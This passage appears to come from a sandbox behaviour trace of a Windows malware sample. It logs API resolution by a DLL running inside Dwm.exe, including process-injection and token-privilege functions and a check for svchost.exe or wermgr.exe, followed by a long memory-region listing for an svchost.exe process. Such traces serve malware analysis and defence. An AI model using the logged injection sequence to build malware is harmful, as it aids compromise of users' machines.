GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0089.710] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0089.710] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0089.710] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0089.710] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0089.710] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0089.710] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0089.710] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0089.710] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0089.710] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0089.710] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0089.710] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0089.710] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0089.711] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0089.711] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0089.711] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0089.711] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0089.711] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0089.711] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0089.711] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0089.711] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0089.711] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0089.711] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0089.711] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0089.712] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0089.713] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0089.714] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0089.715] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0089.715] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0089.715] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0089.715] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0089.715] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0089.716] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0089.716] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0089.716] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0089.716] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0089.716] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0089.716] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0089.716] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0089.716] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0089.719] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0089.719] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\Dwm.exe") returned 0x1b [0089.719] PathFindFileNameA (pszPath="C:\\Windows\\system32\\Dwm.exe") returned="Dwm.exe" [0089.719] GetCommandLineA () returned="\"C:\\Windows\\system32\\Dwm.exe\"" [0089.719] _strcmpi (_Str1="Dwm.exe", _Str2="svchost.exe") returned -15 [0089.719] StrStrIA (lpFirst="Dwm.exe", lpSrch="wermgr.exe") returned 0x0 [0089.736] HeapDestroy (hHeap=0x2770000) returned 1 [0089.786] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.787] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.787] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.787] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.814] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\powrprof.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.814] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.814] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.815] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 267 os_tid = 0x43c Thread: id = 269 os_tid = 0x440 Thread: id = 270 os_tid = 0x448 Thread: id = 272 os_tid = 0x44c [0089.825] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.825] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.826] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.832] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wintrust.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.834] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\setupapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.834] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cfgmgr32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0089.834] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\devobj.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 541 os_tid = 0x5c0 Thread: id = 542 os_tid = 0x550 Process: id = "26" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa881000" os_pid = "0x458" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" Region: id = 2259 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2260 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2261 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2262 start_va = 0x150000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2263 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 2264 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2265 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2266 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" Region: id = 2267 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 2268 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2269 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2270 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2271 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2272 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2273 start_va = 0x2a0000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2274 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 2275 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 2276 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2277 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 2278 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2279 start_va = 0x3a0000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2280 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2281 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2282 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 2283 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 2284 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 2285 start_va = 0xe0000 end_va = 0xe6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2286 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2287 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2288 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2289 start_va = 0x4a0000 end_va = 0x627fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 2290 start_va = 0x630000 end_va = 0x7b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 2291 start_va = 0x7c0000 end_va = 0x87ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 2292 start_va = 0x880000 end_va = 0xc72fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 2293 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 2294 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 2295 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 2296 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 2297 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 2298 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 2299 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 2300 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 2301 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 2302 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 2303 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 2304 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 2305 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 2306 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 2307 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 2308 start_va = 0xcb0000 end_va = 0xd2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000cb0000" filename = "" Region: id = 2309 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 2310 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 2311 start_va = 0xec0000 end_va = 0x118efff entry_point = 0xec0000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 2315 start_va = 0xd90000 end_va = 0xe0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 2316 start_va = 0x11d0000 end_va = 0x124ffff entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 2317 start_va = 0x1310000 end_va = 0x138ffff entry_point = 0x0 region_type = private name = "private_0x0000000001310000" filename = "" Region: id = 2318 start_va = 0x1420000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001420000" filename = "" Region: id = 2319 start_va = 0x1670000 end_va = 0x16effff entry_point = 0x0 region_type = private name = "private_0x0000000001670000" filename = "" Region: id = 2320 start_va = 0x7fefad20000 end_va = 0x7fefad4ffff entry_point = 0x7fefad2c1fc region_type = mapped_file name = "dnsrslvr.dll" filename = "\\Windows\\System32\\dnsrslvr.dll" Region: id = 2321 start_va = 0x7fefb680000 end_va = 0x7fefb68afff entry_point = 0x7fefb681198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" Region: id = 2322 start_va = 0x7fefd2b0000 end_va = 0x7fefd30afff entry_point = 0x7fefd2b6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" Region: id = 2323 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 2324 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 2325 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 2326 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2327 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2328 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2329 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2330 start_va = 0x7fefacc0000 end_va = 0x7fefad12fff entry_point = 0x7fefacc2b98 region_type = mapped_file name = "FWPUCLNT.DLL" filename = "\\Windows\\System32\\FWPUCLNT.DLL" Region: id = 2331 start_va = 0x1530000 end_va = 0x15affff entry_point = 0x0 region_type = private name = "private_0x0000000001530000" filename = "" Region: id = 2332 start_va = 0x7fefacb0000 end_va = 0x7fefacb6fff entry_point = 0x7fefacb15d8 region_type = mapped_file name = "dnsext.dll" filename = "\\Windows\\System32\\dnsext.dll" Region: id = 2333 start_va = 0x7fefcf50000 end_va = 0x7fefcf6dfff entry_point = 0x7fefcf513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" Region: id = 2334 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 2343 start_va = 0xe30000 end_va = 0xeaffff entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 2344 start_va = 0x15c0000 end_va = 0x163ffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 2345 start_va = 0x16f0000 end_va = 0x176ffff entry_point = 0x0 region_type = private name = "private_0x00000000016f0000" filename = "" Region: id = 2346 start_va = 0x1770000 end_va = 0x17effff entry_point = 0x0 region_type = private name = "private_0x0000000001770000" filename = "" Region: id = 2347 start_va = 0x7fefac70000 end_va = 0x7fefac87fff entry_point = 0x7fefac71bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" Region: id = 2348 start_va = 0x7fefac90000 end_va = 0x7fefaca0fff entry_point = 0x7fefac916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" Region: id = 2349 start_va = 0x7fefb690000 end_va = 0x7fefb6b6fff entry_point = 0x7fefb6998bc region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\System32\\IPHLPAPI.DLL" Region: id = 2350 start_va = 0x7fefcf30000 end_va = 0x7fefcf4afff entry_point = 0x7fefcf32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" Region: id = 2351 start_va = 0x7fefd420000 end_va = 0x7fefd426fff entry_point = 0x7fefd42142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" Region: id = 2352 start_va = 0x7fefd430000 end_va = 0x7fefd484fff entry_point = 0x7fefd431054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" Region: id = 2353 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 2354 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2355 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2356 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2357 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3315 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3316 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3317 start_va = 0x1830000 end_va = 0x18affff entry_point = 0x0 region_type = private name = "private_0x0000000001830000" filename = "" Region: id = 3318 start_va = 0x7fef91b0000 end_va = 0x7fef91cffff entry_point = 0x7fef91b1064 region_type = mapped_file name = "wkssvc.dll" filename = "\\Windows\\System32\\wkssvc.dll" Region: id = 3319 start_va = 0x7fefbdb0000 end_va = 0x7fefbdbbfff entry_point = 0x7fefbdb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" Region: id = 3320 start_va = 0x7fefce30000 end_va = 0x7fefce36fff entry_point = 0x7fefce314b0 region_type = mapped_file name = "WSHTCPIP.DLL" filename = "\\Windows\\System32\\WSHTCPIP.DLL" Region: id = 3321 start_va = 0x7fefd5a0000 end_va = 0x7fefd5d1fff entry_point = 0x7fefd5a144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" Region: id = 3322 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3327 start_va = 0x1390000 end_va = 0x148ffff entry_point = 0x0 region_type = private name = "private_0x0000000001390000" filename = "" Region: id = 3328 start_va = 0x19d0000 end_va = 